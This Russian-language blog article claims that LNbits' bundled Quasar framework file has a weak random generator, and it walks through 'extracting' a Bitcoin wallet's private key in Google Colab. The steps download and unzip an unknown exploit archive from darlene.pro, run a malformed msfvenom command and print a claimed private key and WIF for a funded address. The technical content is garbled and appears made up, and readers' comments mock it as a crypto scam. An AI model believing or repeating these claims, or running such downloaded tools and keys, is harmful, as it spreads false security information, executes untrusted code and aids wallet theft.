
В этой статье мы заострим внимание на приложение для смартфонов iOS и Android популярный Биткоин Кошелек с поддержкой быстрых платежей через (Lightning network) BLW: Bitcoin Lightning Wallet. К большому сожалению многие автономные ноды мобильных приложении с открытым исходным кодом от LNbits Node Manager и Core Lightning подвергает ВЫСОКЕМУ РИСКУ потери всех денежных средств в различных криптовалютных монетах.
Разработчик David Shares из японской компании Bitcoin Portal опубликовал множество документов.
Разберем теоретическую основу: LNbits – это бесплатная система учетных записей для многих мобильных приложении которые работают с различными криптовалютными кошельками. Изначально широкую популярность LNbits Node Manager получила с развитием Bitcoin Lightning Wallet (BLW) т.к. развитие некастодиальных и автономных нодов для Bitcoin SPV, предназначенный для Android и iPhone с функциональностью Node.js. Благодаря автономным нодам вы имеете полный контроль над своим средством и вам необходимо самостоятельно управлять своими платежными средствами (в отличие от других мобильных приложении с криптовалютными кошельками).
Node Manager с открытым исходным кодом LNbits решает несколько задач, таких как:
Сбор бумажных цен на монет
BTC, ETH, LTC, USDT, XLM, BNB, и.т.дВедение списка общедоступных нодов
LNbits, которыеBitcoin Lightning Wallet (BLW)использует для открытия платежных каналов.Предоставление частичной оплаты платежных маршрутов.
Хранение зашифрованной резервной копии вашего платежного канала.

LNbits node manager работает с сервисами:

Согласна примерам Salvador Guerrero многие кто установил
LNBitsна полноценный Биткоин-узел(Bitcoin Node)может работать на Raspberry Pi, чтобы отправлять и получатьBitcoinбез комиссий за транзакции. Это возможно только в том случае, если все криптокошельки отLNbitsнаходятся в одном экземпляре Core Lightning.




Разработчик David Shares из японской компании Bitcoin Portal опубликовал хронологический список, который показывает, что
Lightning Networkтонет в технических проблемах, ошибках, недостатках, критических замечаниях и эксплойтах. Это слишком обещанная технология, которая не обеспечивает децентрализации и еще далека от того, чтобы стать функциональной и безопасной для пользователей.

После детального изучение всех материалов из хронологического списка мы обратили внимание на уязвимость в фреймворке и на процесс работы в коде quasar.umd.js

Quasar – это фреймворк на основе Vue.js с открытым исходным кодом, который позволяет создавать адаптивные сайты и мобильные приложение для различных криптовалютных кошельков.
Как нам известно из источника Snyk Vulnerability Database в последних версиях Vue.js содержались уязвимости, что позволило версии LNbits v0.11.0 запустить серию циклических ошибок в коде quasar.umd.js

Ошибка в коде quasar.umd.js
// Use best available PRNG
var randomBytes = (function () {
// Node & Browser support
var lib = typeof crypto !== 'undefined'
? crypto
: (
typeof window !== 'undefined'
? window.msCrypto // IE11
: void 0
);
if (lib !== void 0) {
if (lib.randomBytes !== void 0) {
return lib.randomBytes
}
if (lib.getRandomValues !== void 0) {
return function (n) {
var bytes = new Uint8Array(n);
lib.getRandomValues(bytes);
return bytes
}
}
}

В случае слабого генератора псевдослучайных чисел (PRNG) нам дается возможность получить SEED и полностью определить приватный ключ к Биткоин Кошельку, так как метод lib.getRandomValues теряет криптостойкость над случайным значением.
Перейдем к практической части:
(Вы можете открыть готовый файл от Jupyter Notebook и загрузить в блокнот Google Colab )
https://colab.research.google.com/drive/1bW9y3vB4VdvJBzJR3eBMRsBecsfwDIkV

Рассмотрим реальный пример извлечение приватного ключа Биткоин Кошелька из слабого генератора псевдослучайных чисел (PRNG) в коде quasar.umd.js
Биткоин Кошелек: В сентябре
2023года была кража на сумму:11032.77долларов США // БИТКОИН:0.30412330 BTC

Bitcoin_Lightning_Wallet_Vulnerability.ipynb
Откроем сервис Google Colab по ссылке: https://colab.research.google.com

Нажимаем на
"+"и “Создаем новый блокнот”

Установим Ruby в Google Colab

Для запуска необходимых нам программ установим объектно-ориентированный язык программирования Ruby
!sudo apt install ruby-full

Проверим версию установки
!ruby --version
![Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu] Как найти приватный ключ в бинарном коде от Bitcoin Lightning Wallet уязвимость в Quasar Framework](https://habrastorage.org/getpro/habr/upload_files/83e/3c9/4c9/83e3c94c901f6bd314a0cccdd4265b8b.png)
Установим библиотеку
'bitcoin-ruby'для взаимодействия с протоколом/сетью Биткоин
!gem install bitcoin-ruby

Установим библиотеку
'ecdsa'для реализации алгоритма цифровой подписи на эллиптической кривой (ECDSA)
!gem install ecdsa

Установим библиотеку
'base58'для преобразования целых или двоичных чисел вbase58и обратно.
!gem install base58

Установим библиотеку
'crypto'чтобы упростить операции с байтами и основными криптографическими операциями
!gem install crypto

Установим библиотеку
'config-hash'чтобы упростить работу с большими данными.
!gem install config-hash -v 0.9.0

Установим Metasploit Framework и воспользуемся MSFVenom

Установим Metasploit Framework из GitHub и воспользуемся инструментом MSFVenom для создания полезной нагрузки.

!git clone https://github.com/rapid7/metasploit-framework.git
ls
cd metasploit-framework/

Посмотрим содержимое папки
"metasploit-framework"
ls

Опции:
!./msfvenom -help

Откроем код GitHub в воспользуемся уязвимым файлом: quasar.umd.js


В примечание мы видим ссылку на файл: quasar.umd.js
Откроем код:

LNbits, free and open-source Lightning wallet and accounts system

Установим lnbits в Google Colab:
!git clone https://github.com/lnbits/lnbits.git
ls

Откроем уязвимый файл: quasar.umd.js через утилиту cat
cat lnbits/lnbits/static/vendor/quasar.umd.js

Откроем папки по каталогу: /modules/exploits/

ExploitDarlenePRO
Загрузим ExploitDarlenePRO по каталогу: /modules/exploits/
cd modules/
ls
cd exploits/
!wget https://darlene.pro/repository/21fa0f866f9f5fd22ce045e57f22185de1877dee25ad9d3974b7167a78957680/ExploitDarlenePRO.zip

Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip
!unzip ExploitDarlenePRO.zip

Перейдем по каталогу: /ExploitDarlenePRO/
ls
cd ExploitDarlenePRO/
ls

Для запуска эксплойта перейдем обратно к Metasploit Framework
cd /
cd content/metasploit-framework/
ls

Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины.
Запустим команды:
!ip addr
!hostname -I

Воспользуемся инструментом для создания полезной нагрузки MSFVenom
Для эксплуатации выбираем Биткоин Кошелек: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F

Команда запуска:
!./msfvenom 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p lnbits/lnbits/static/vendor LHOST=172.28.0.12 -f JS -o quasar.umd.js

Результат:
111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011
Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo
Команда:
!echo '111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011' > binary.txt

Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька:
Воспользуемся кодом:
binaryFile = open("binary.txt", "r")
binaryFile = binaryFile.readlines()
hexFile = open("hex.txt", "w+")
# loop through each line of binaryFile then convert and write to hexFile
for line in binaryFile:
binaryCode = line.replace(" ", "")
hexCode = hex(int(binaryCode, 2))
hexCode = hexCode.replace("0x", "").upper().zfill(4)
hexFile.write(hexCode + "\n")
# close hexFile
hexFile.close()

Откроем файл: hex.txt
cat hex.txt

Приватный Ключ Найден!
Установим модуль Bitcoin
!pip3 install bitcoin

Запустим код для проверки соответствие Биткоин Адреса:
from bitcoin import *
with open("hex.txt","r") as f:
content = f.readlines()
# you may also want to remove whitespace characters like `\n` at the end of each line
content = [x.strip() for x in content]
f.close()
outfile = open("privtoaddr.txt","w")
for x in content:
outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
outfile.close()

Откроем файл: privtoaddr.txt
cat privtoaddr.txt

Результат:
7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B:1qzgi39y33HrM7mHsZ6FaNspHCraJe62F
Все верно! Приватный ключ соответствует Биткоин Кошельку.
Откроем bitaddress и проверим:
ADDR: 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F
WIF: L1TWHkT6HcNVHCjsUpGecyZQqGJC5Ek98HunmRH4c3zb8V87NUiP
HEX: 7E723AFFE50E5139BF2B3ADCB8A118A682F8BBA5296C3B4961791929DBEA3F1B

https://www.blockchain.com/en/explorer/addresses/btc/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F



BALANCE: $ 11032.77
References:
[2] Flood & Loot: A Systemic Attack On The Lightning Network (Jona Harris, Aviv Zohar)
[4] Congestion Attacks in Payment Channel Networks (Ayelet Mizrahi, Aviv Zohar)
[5] A Deep Dive Into Lightning as a Bitcoin Scaling Solution (George Kaloudis, Teddy Oosterbaan)
[7] Lightning Network Scalability Solutions (Joseph Poon, Thaddeus Dryja)
[8] The Bitcoin Lightning Network DRAFT Version 0.5 (Joseph Poon, Thaddeus Dryja)
[9] CoinPool efficient off-chain payment pools for Bitcoin (Gleb Naumenko, Antoine Riard)
Комментарии (2)

sekuzmin
12.11.2023 20:33Прошу не судить строго мое скоромное мнение, но если поменять теги на "Юмор" и "немножко криптоскам", то это может открыть более широкие горизонты и привлечь аудиторию.
Я сам еще тот поклонник со времен КриптоДжипТеч, когда видео на канале было не немое. Вот это вот: передача на standard input скрипта сорсов из другого проекта, в поисках "Я называю это УЯЗВИМНЫЕ бИтЫ" (нельзя передать атмосферу текстом к сожалению).
Это приподнимает настроение.
ajijiadduh
как безграмотно